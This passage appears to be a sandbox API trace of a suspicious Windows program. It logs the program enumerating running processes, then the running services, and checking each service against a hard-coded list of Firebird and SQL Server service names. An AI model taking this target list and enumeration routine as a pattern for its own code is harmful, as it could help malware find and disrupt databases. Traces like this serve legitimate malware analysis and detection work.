| out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x47, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0273.580] lstrlenW (lpString="svchost.exe") returned 11 [0273.580] Process32NextW (in: hSnapshot=0x454, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0273.580] lstrlenW (lpString="svchost.exe") returned 11 [0273.580] Process32NextW (in: hSnapshot=0x454, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0273.581] lstrlenW (lpString="svchost.exe") returned 11 [0273.581] Process32NextW (in: hSnapshot=0x454, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0273.581] lstrlenW (lpString="svchost.exe") returned 11 [0273.581] Process32NextW (in: hSnapshot=0x454, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0273.582] lstrlenW (lpString="svchost.exe") returned 11 [0273.582] Process32NextW (in: hSnapshot=0x454, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0273.582] lstrlenW (lpString="svchost.exe") returned 11 [0273.582] Process32NextW (in: hSnapshot=0x454, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0273.583] lstrlenW (lpString="svchost.exe") returned 11 [0273.583] Process32NextW (in: hSnapshot=0x454, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0273.583] lstrlenW (lpString="svchost.exe") returned 11 [0273.584] Process32NextW (in: hSnapshot=0x454, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0273.584] lstrlenW (lpString="svchost.exe") returned 11 [0273.584] Process32NextW (in: hSnapshot=0x454, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x574, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0273.585] lstrlenW (lpString="svchost.exe") returned 11 [0273.585] Process32NextW (in: hSnapshot=0x454, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0273.585] lstrlenW (lpString="spoolsv.exe") returned 11 [0273.585] Process32NextW (in: hSnapshot=0x454, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x68c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0273.585] lstrlenW (lpString="svchost.exe") returned 11 [0273.586] Process32NextW (in: hSnapshot=0x454, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x4f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0273.586] lstrlenW (lpString="audiodg.exe") returned 11 [0273.586] Process32NextW (in: hSnapshot=0x454, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0273.587] lstrlenW (lpString="sihost.exe") returned 10 [0273.587] Process32NextW (in: hSnapshot=0x454, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x714, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0273.587] lstrlenW (lpString="svchost.exe") returned 11 [0273.587] Process32NextW (in: hSnapshot=0x454, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0273.588] lstrlenW (lpString="taskhostw.exe") returned 13 [0273.588] Process32NextW (in: hSnapshot=0x454, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x51c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0273.588] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0273.588] Process32NextW (in: hSnapshot=0x454, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0273.589] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0273.589] Process32NextW (in: hSnapshot=0x454, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x890, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0273.589] lstrlenW (lpString="Memory Compression") returned 18 [0273.589] Process32NextW (in: hSnapshot=0x454, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x978, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x37, th32ParentProcessID=0x958, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0273.590] lstrlenW (lpString="explorer.exe") returned 12 [0273.590] Process32NextW (in: hSnapshot=0x454, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0273.590] lstrlenW (lpString="SearchUI.exe") returned 12 [0273.590] Process32NextW (in: hSnapshot=0x454, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0273.591] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0273.591] Process32NextW (in: hSnapshot=0x454, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0273.591] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0273.591] Process32NextW (in: hSnapshot=0x454, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0273.592] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0273.592] Process32NextW (in: hSnapshot=0x454, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x978, pcPriClassBase=8, dwFlags=0x0, szExeFile="finbbp.exe")) returned 1 [0273.593] lstrlenW (lpString="finbbp.exe") returned 10 [0273.593] Process32NextW (in: hSnapshot=0x454, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x3bc, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0273.593] lstrlenW (lpString="consent.exe") returned 11 [0273.593] Process32NextW (in: hSnapshot=0x454, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xefc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0273.594] lstrlenW (lpString="svchost.exe") returned 11 [0273.594] Process32NextW (in: hSnapshot=0x454, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfa8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0273.594] lstrlenW (lpString="dllhost.exe") returned 11 [0273.594] Process32NextW (in: hSnapshot=0x454, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfa8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0273.595] CloseHandle (hObject=0x454) returned 1 [0273.595] Sleep (dwMilliseconds=0x1f4) [0274.441] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x41aaa60 [0274.441] EnumServicesStatusExW (in: hSCManager=0x41aaa60, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0) returned 0 [0274.442] GetLastError () returned 0xea [0274.442] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x1ca4) returned 0x5081068 [0274.442] EnumServicesStatusExW (in: hSCManager=0x41aaa60, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x5081068, cbBufSize=0x1ca4, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x5081068, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0) returned 1 [0274.443] CloseServiceHandle (hSCObject=0x41aaa60) returned 1 [0274.443] lstrlenW (lpString="Appinfo") returned 7 [0274.443] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0274.443] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0274.444] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0274.444] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0274.444] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0274.444] lstrlenW (lpString="AppXSvc") returned 7 [0274.444] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0274.444] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0274.444] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0274.444] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0274.444] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0274.444] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0274.444] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0274.444] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0274.444] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0274.444] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0274.444] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0274.444] lstrlenW (lpString="Audiosrv") returned 8 [0274.444] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0274.444] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0274.444] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0274.444] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0274.444] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0274.444] lstrlenW (lpString="BFE") returned 3 [0274.444] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0274.444] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0274.444] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0274.445] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0274.445] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0274.446] lstrlenW (lpString="BITS") returned 4 [0274.446] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0274.446] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0274.446] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0274.446] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0274.446] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0274.446] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0274.446] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0274.446] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0274.446] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0274.446] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0274.446] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0274.446] lstrlenW (lpString="CDPSvc") returned 6 [0274.446] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0274.446] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0274.446] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0274.446] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0274.446] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0274.446] lstrlenW (lpString="ClickToRunSvc") returned 13 [0274.446] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0274.446] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0274.446] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0274.446] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0274.446] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0274.446] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0274.447] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0274.447] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0274.447] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0274.447] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0274.447] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0274.447] lstrlenW (lpString="CryptSvc") returned 8 [0274.447] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0274.447] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0274.447] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0274.447] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0274.447] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0274.447] lstrlenW (lpString="DcomLaunch") returned 10 [0274.447] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0274.447] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0274.447] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0274.447] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0274.447] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0274.447] lstrlenW (lpString="DeviceAssociationService") returned 24 [0274.447] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0274.447] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0274.447] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0274.447] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0274.447] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0274.447] lstrlenW (lpString="Dhcp") returned 4 [0274.447] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0274.447] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0274.447] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0274.447] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0274.447] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0274.447] lstrlenW (lpString="Dnscache") returned 8 [0274.448] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0274.448] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0274.448] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0274.448] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0274.448] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0274.448] lstrlenW (lpString="DPS") returned 3 [0274.448] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0274.448] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0274.448] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0274.448] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0274.448] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0274.448] lstrlenW (lpString="DusmSvc") returned 7 [0274.448] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0274.448] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0274.448] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0274.448] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0274.448] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0274.448] lstrlenW (lpString="EventLog") returned 8 [0274.448] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0274.448] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0274.448] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0274.448] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0274.448] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0274.448] lstrlenW (lpString="EventSystem") returned 11 [0274.448] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0274.448] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0274.448] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0274.448] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0274.448] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0274.448] lstrlenW (lpString="FontCache") returned 9 [0274.449] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0274.449] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0274.449] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0274.449] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0274.449] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0274.449] lstrlenW (lpString="gpsvc") returned 5 [0274.449] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0274.449] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0274.449] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0274.449] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0274.449] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0274.449] lstrlenW (lpString="iphlpsvc") returned 8 [0274.449] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0274.449] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0274.449] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0274.449] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0274.449] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0274.449] lstrlenW (lpString="KeyIso") returned 6 [0274.449] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0274.449] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0274.449] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0274.449] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0274.449] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0274.449] lstrlenW (lpString="LanmanServer") returned 12 [0274.449] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0274.449] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0274.449] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0274.450] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0274.450] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0274.450] lstrlenW (lpString="LanmanWorkstation") returned 17 [0274.450] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0274.450] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0274.450] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0274.450] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0274.450] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0274.450] lstrlenW (lpString="lfsvc") returned 5 [0274.450] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0274.450] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0274.450] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0274.450] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0274.450] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0274.450] lstrlenW (lpString="lmhosts") returned 7 [0274.450] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0274.450] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0274.450] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0274.450] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0274.450] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0274.450] lstrlenW (lpString="LSM") returned 3 [0274.450] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0274.450] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0274.450] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0274.450] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0274.450] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0274.450] lstrlenW (lpString="MpsSvc") returned 6 [0274.451] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0274.451] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0274.451] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0274.451] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0274.451] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0274.451] lstrlenW (lpString="NcbService") returned 10 [0274.451] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0274.451] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0274.451] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0274.451] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0274.451] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0274.451] lstrlenW (lpString="netprofm") returned 8 [0274.451] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0274.451] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0274.451] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0274.451] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0274.451] lstrcmpiW 